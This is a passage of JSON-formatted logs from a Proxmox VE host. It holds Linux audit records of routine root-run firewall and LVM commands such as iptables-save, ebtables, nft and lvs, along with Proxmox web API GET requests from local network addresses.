comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415836,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.836:60936): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965234736,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964484540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964484.540:61204): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965162022,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965162.022:64424): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955630 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61895 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966026034,"@rawstring":"node=pve type=EXECVE msg=audit(1781966026.034:68138): argc=4 a0=\"/usr/bin/perl\" a1=\"-T\" a2=\"/usr/bin/pvenode\" a3=\"stopall\""} {"@timestamp":1781965775445,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.445:67044): arch=c000003e syscall=59 success=yes exit=0 a0=5d76d7dd0ac8 a1=7ffcbd80daa0 a2=5d76fa6b7680 a3=5d76d7db424e items=2 ppid=64386 pid=64388 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035808,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.808:68161): arch=c000003e syscall=59 success=yes exit=0 a0=6540595ceac8 a1=7ffffde86d80 a2=6540842e1680 a3=6540595b224e items=2 ppid=65452 pid=65454 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415829,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.829:60935): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965234736,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:33 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 917"} {"@timestamp":1781964484540,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964484.540:61203): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58757 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965157010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965157.010:64421): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025746,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.746:68137): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965775444,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.444:67043): arch=c000003e syscall=59 success=yes exit=0 a0=7ffcbd80da60 a1=5d76fa6be310 a2=5d76fa6b7680 a3=5 items=2 ppid=64386 pid=64387 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035808,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.808:68160): arch=c000003e syscall=59 success=yes exit=0 a0=7ffffde86d40 a1=6540842e8310 a2=6540842e1680 a3=5 items=2 ppid=65452 pid=65453 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415823,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.823:60934): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965233723,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:33 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964479529,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964479.529:61201): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58754 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965157010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965157.010:64420): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955570 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61893 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025743,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.743:68136): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965775439,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.439:67041): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64386 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035803,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.803:68158): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65452 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415816,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.816:60933): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965233723,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:32 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 504"} {"@timestamp":1781964479528,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964479.528:61200): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58754 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965157001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965157.001:64418): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61892 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025742,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.742:68135): argc=1 a0=\"date\""} {"@timestamp":1781965775431,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.431:67040): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64385 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035796,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.796:68157): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65451 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415810,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.810:60931): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965231823,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:31 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 924"} {"@timestamp":1781964479523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964479.523:61198): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965157001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965157.001:64417): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899554b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61892 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025737,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.737:68133): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965775425,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.425:67039): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64384 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035787,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.787:68156): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65450 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415805,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.805:60930): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965231823,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:31 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 507"} {"@timestamp":1781964479523,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964479.523:61197): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58753 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965155228,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.228:64413): arch=c000003e syscall=59 success=no exit=-2 a0=7ffef27b1520 a1=5f46ff695d10 a2=5f46ff678680 a3=5 items=1 ppid=61885 pid=61886 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025730,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.730:68132): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965775419,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.419:67038): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ac89b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64383 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035778,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.778:68155): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0b57d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65449 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415799,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.799:60929): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965231823,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:31 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964475670,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.670:61193): arch=c000003e syscall=59 success=no exit=-2 a0=7fffbae82fa0 a1=575d6d521d10 a2=575d6d504680 a3=5 items=1 ppid=58746 pid=58747 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965155131,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965155.131:64395): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc24759610 a1=5556e0803310 a2=5556e07fc680 a3=5 items=1 ppid=61866 pid=61867 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025723,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.723:68131): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965775411,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.411:67037): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc101350 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64382 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035770,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.770:68154): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12fc80 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65448 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415794,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.794:60928): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965231823,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:30 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964475585,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964475.585:61175): arch=c000003e syscall=59 success=no exit=-2 a0=7ffda98f7740 a1=5d341b8d71c0 a2=5d341b8b5680 a3=5 items=1 ppid=58727 pid=58728 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965151989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965151.989:64385): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025715,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.715:68130): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965775401,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.401:67036): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13d5a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64381 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035761,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.761:68153): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc12dd50 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65447 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415789,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.789:60927): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965230724,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:29 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964474512,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964474.512:61165): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965151989,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965151.989:64384): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899553f0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61856 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025707,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.707:68129): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965775001,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965775.001:67035): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be6b0 a1=64f8d73d1710 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64380 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035163,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.163:68152): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65446 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415784,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.784:60926): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965230724,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:29 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 929"} {"@timestamp":1781964474511,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964474.511:61164): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58717 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965151979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965151.979:64382): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025700,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.700:68127): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965774963,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965774.963:67034): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73d1150 a1=64f8d73cac10 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=64379 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966035156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966035.156:68149): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65445 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415777,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.777:60925): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965230724,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:20:29 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1113"} {"@timestamp":1781964474502,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964474.502:61162): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965151979,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965151.979:64381): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955330 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61855 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025693,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.693:68126): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965774248,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965774.248:67033): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64376 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966034833,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966034.833:68146): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73ddab0 a1=64f8d72e02c0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65444 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964415770,"@rawstring":"node=pve type=EXECVE msg=audit(1781964415.770:60924): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965228760,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:20:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1104"} {"@timestamp":1781964474501,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964474.501:61161): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=58716 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781965146967,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965146.967:64379): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789955270 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=61854 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966025686,"@rawstring":"node=pve type=EXECVE msg=audit(1781966025.686:68125): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965774240,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965774.240:67030): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=64375 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966034810,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966034.810:68145): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d514f760 a1=64f8d16faa80 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65443 